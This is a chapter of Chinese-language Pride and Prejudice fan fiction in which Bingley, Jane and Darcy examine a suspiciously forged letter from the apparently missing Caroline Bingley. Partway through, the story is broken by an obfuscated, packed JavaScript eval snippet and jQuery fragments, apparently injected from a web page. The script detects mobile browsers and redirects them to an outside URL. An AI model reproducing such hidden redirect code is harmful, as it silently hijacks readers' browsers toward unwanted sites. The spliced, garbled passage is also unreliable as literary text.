彭伯利庄园里。
沐浴在冬日里难得的和煦阳光下。
德比郡的丘陵覆盖着薄雪，在阳光下显得闪闪发光。
庄园周围的树林虽然光秃，但树枝间的天空是清透的蓝灰色，空气冷冽而清新。
然而，此刻坐在彭伯利庄园宽敞明亮的书房里的查尔斯·宾利先生。
心情却与这美好的天气毫不相符。
他那张一贯开朗、温和的脸上，此刻布满了担忧、困惑和一丝挥之不去的焦虑。
他手中捏着一封已经有些磨损的信件，淡蓝色的信纸，边缘带着精致的镂空花纹，上面是熟悉的、属于他妹妹卡罗琳·宾利的字迹。
或者说，是他以为属于卡罗琳的字迹。
信的内容大致是告知他，她应一位远房表亲的邀请，前往其乡间别墅小住，进行一段时间的静养和社交休憩，因地点较为偏远，通信可能不便，请他勿念，并代为向达西、简等人致意。
落款是“你亲爱的妹妹，卡罗琳”，日期是大约几周前。
很奇怪，他在城镇里找到了修马车的地方，但是由于后来下起了雨，导致他被困在城镇里。
在下起雨之前，他让马夫启程他的妹妹卡罗琳接过来。
回来之后只是说有人将小姐接走了，那个人小姐还认识。
由于时间紧迫他先回了伦敦处理完家族事务，将长时间在伦敦空闲的交际给料理好。
在此之间只收到了这样的一封信。
一周前他重新回了彭伯里庄园，关于妹妹的一切没有了任何消息。
他反复阅读了信件。
这封信是在卡罗琳离开驿站之后到达亲戚家，由仆役送到查尔斯手中的。
当时他正忙于事物的处理，虽然对妹妹不告而别有些诧异。
但信中提及的静养和偏远解释了她未能亲自道别的原因。
而卡罗琳偶尔心血来潮、行事自我去甚至有些任性的风格他也了解，加之信中的语气和用词都颇为符合她一贯的做派，查尔斯便没有深究，只当她是厌倦了伦敦冬季的社交季，想找个清静地方换换心情。
他很快回复了一封充满兄长关怀的信，寄往信中提到的那个模糊的郡名和格林伍德别墅地址，并附上了一些零用钱。
之后，他便将大部分心思都放在了伦敦这边，偶尔想起妹妹，也只当她在乡下过得惬意，或许正享受着被人奉承的宁静生活。
直到一周前，他重回了彭伯里并计划与达西小聚。
在宅邸里，他无意间问起管家是否有卡罗琳小姐的来信。
管家恭敬地回答没有。
查尔斯心中隐隐觉得有些不对劲。
卡罗琳的性格纵然任性，但出门在外，尤其还是去一个偏远地方，按照她的习惯，总会隔段时间写信回来，抱怨乡下生活的无聊，或者炫耀她如何成为当地社交圈的中心，顺便打探伦敦和彭伯利的消息。
然而这次却一点音讯全无。
他让自己放心，或许只是通信不便。
但回到彭伯利后，这种不安感非但没有减轻，反而随着时间流逝而加剧。
他现在重新翻出那封告别信，在冬日明亮的书房光线下仔细审视。
这一看，让他心底的疑虑如同投入湖面的石子，涟漪不断扩大。
字迹上乍看确实是卡罗琳的，那种略带夸张的圆润花体，喜欢在某些字母末尾加上不必要的卷饰。
但查尔斯是她的哥哥，从小看她的笔迹看到大。
此刻冷静下来细看，他发现这模仿虽然极其高明，几乎可以乱真。
但在一些极细微的连笔习惯、字母r的收尾弧度、以及整体笔画间那股特有的、属于卡罗琳的骄矜之气上。
他觉得，总是觉得差了点什么。
这封书信现在看来，更像是一个极其用心的模仿者，在努力还原形毕露。
却未能完全捕捉到那种本人独自带有的自然而然的、略带刻薄的精气神。
而且，格林伍德别墅。
查尔斯努力回忆自己家族以及他们共同认识的朋友圈里，是否有这么一处产业。
印象十分模糊。
他找来地图和郡志翻查，在信中提到的大致郡内，并未找到确切名为格林伍德的、符合描述的知名宅邸。
更重要的是信的语气。
通篇都在强调“静养”、“不便通信”、“勿念”这种词汇。
看似体贴，实则像在刻意切断联系，打消他询问或探望的念头。
这与卡罗琳喜欢引人关注、甚至偶尔夸大其词以博取同情或羡慕的性格，颇有出入。
一个可怕的念头渐渐在查尔斯心中逐渐成型起来。
这封信，很可能不是卡罗琳写的！
至少，不是在她完全自愿、清醒的情况下写的！
他的妹妹现在很可能有危险。
那她去了哪里？那封信究竟是谁写的！目的是什么？她现在是否安全？
查尔斯现在越想越怕，额头上冒出了冷汗。
他那个虽然有些虚荣骄纵、但本质上在他这个哥哥眼里依旧单纯的妹妹，会不会是遇到了什么危险。
难道是被人哄骗了！甚至是绑架！
这个念头让他坐立难安。
他立刻起身，吩咐备马，他要立刻去找菲茨威廉·达西。
在前往达西位于彭伯利庄园内另一处常用书房的路上，查尔斯遇到了刚从画室出来的简·贝内特。
简穿着一身淡紫色的晨衣，外面披着乳白色的羊毛披肩，金色的头发在脑后松松挽起，几缕发丝垂在颈边，衬托得她白皙的脸庞更加温婉动人。
几天前查尔斯邀请简来家中做客。
看到查尔斯行色匆匆、眉头紧锁的样子，简美丽的蓝色眼睛里立刻流露出关切。
“查尔斯，亲爱的，怎么了？你看上去很不安。”
简的声音柔和，带着抚慰人心的力量。
若是平时，查尔斯一定会为这声亲爱的而心花怒放，并迫不及待地向她倾诉。
但此刻，对妹妹的担忧压倒了一切。他停下脚步，握住简的手，感受到她指尖的微凉和柔软，这让他稍微镇定了一些，但语气依然焦急。
“简，是卡罗琳。我，我觉得她可能出事了。”
查尔斯快速地将自己的发现和疑虑告诉了简，包括那封可疑的信件，以及卡罗琳长达数周音讯全无的情况。
简听完，秀气的眉头也蹙了起来，脸上浮现出真切的忧虑。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962829|191844||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“这听起来确实不对劲，查尔斯。卡罗琳小姐虽然有时想法独特，但绝不会这么久不与家人联系，尤其是不与你联系。”
她很善解人意地没有提及卡罗琳过往那些不太友善的言行，此刻只是单纯地为一位失踪的年轻小姐感到担忧。
“我们必须立刻告诉达西先生。他见多识广，人脉也广，一定能帮上忙。”
“我也是这么想的。”查尔斯感激地看了简一眼，她的支持和冷静让他感到些许依靠。
两人一起找到了正在书房里阅读产业报告的达西。
达西看到他们面色凝重立刻放下了手中的文件。
“菲茨威廉！”
查尔斯不等达西开口询问，便急切地说道：“我现在很需要你的帮助！卡罗琳她可能失踪了，或者遇到了麻烦！”
达西的眉毛立刻皱起，深色的眼睛带着疑惑看向查尔斯开口道：“慢慢说，查尔斯，怎么回事？”
查尔斯再次陈述了一遍，并将那封可疑的信递给了达西。
达西接过信，没有立刻看内容，而是先仔细地审视了信纸、印章和笔迹。他的目光比查尔斯更为敏锐。
“这纸可是伦敦上好的货色，印章也像是宾利家的。”
达西低声道，然后开始细细阅读内容。
他的阅读速度很快，但眼神专注，不漏过任何一个词。
读完后，他抬起头来，神色已经变得十分严肃。
“查尔斯，你的怀疑很有道理。”
达西的声音低沉而肯定。
“这封信，模仿的痕迹虽然很淡，但确实存在。写信的人对卡罗琳小姐的笔迹非常熟悉，并且花了很大心思模仿，但正如你所说，在一些极其细微的个人习惯上，露出了马脚。更可疑的是里面的内容过于强调了不方便，像是在刻意阻止追查。”
听到达西也这么说，查尔斯的心又往下沉了一分，但同时也有一种果然如此的确认感。
“那我们现在该怎么办？派人去那个郡里打听格林伍德别墅？”
达西摇了摇头：“现在如果这涉及某些不希望公开的家族事务或私人恩怨，介入可能反而打草惊蛇。至于格林伍德别墅，”
他走到书桌前，拉开一个抽屉，取出一本厚厚的几份郡地图。
这些都是他随身携带的物品。
达西道：“我们可以先从我们共同的熟人圈，以及德比郡、邻近郡县的大型产业查起。不过，我现在怀疑这个地址很可能是个幌子。”
查尔斯不禁有些懊恼地拍了一下额头。
他就不应该将妹妹单独放在驿站。
“还有。”
达西用羽毛笔在一张便笺上快速写着什么。
“我会给伦敦的几位朋友写信，包括我的一些消息灵通的人士，请他们打听一下，近期是否有关于年轻单身女继承人不同寻常的动向，或者是否有类似笔迹伪造的传闻。另外。”
他顿了一下，目光看向查尔斯：“查尔斯，你仔细回想一下，卡罗琳最近，特别是在她离开前，有没有和你提过什么特别的人，或者表现出对什么特别的事情感兴趣？比如某位突然出现的远亲？或者，和达西家族有关的什么人？”
达西最后一句话，让查尔斯和简都愣了一下。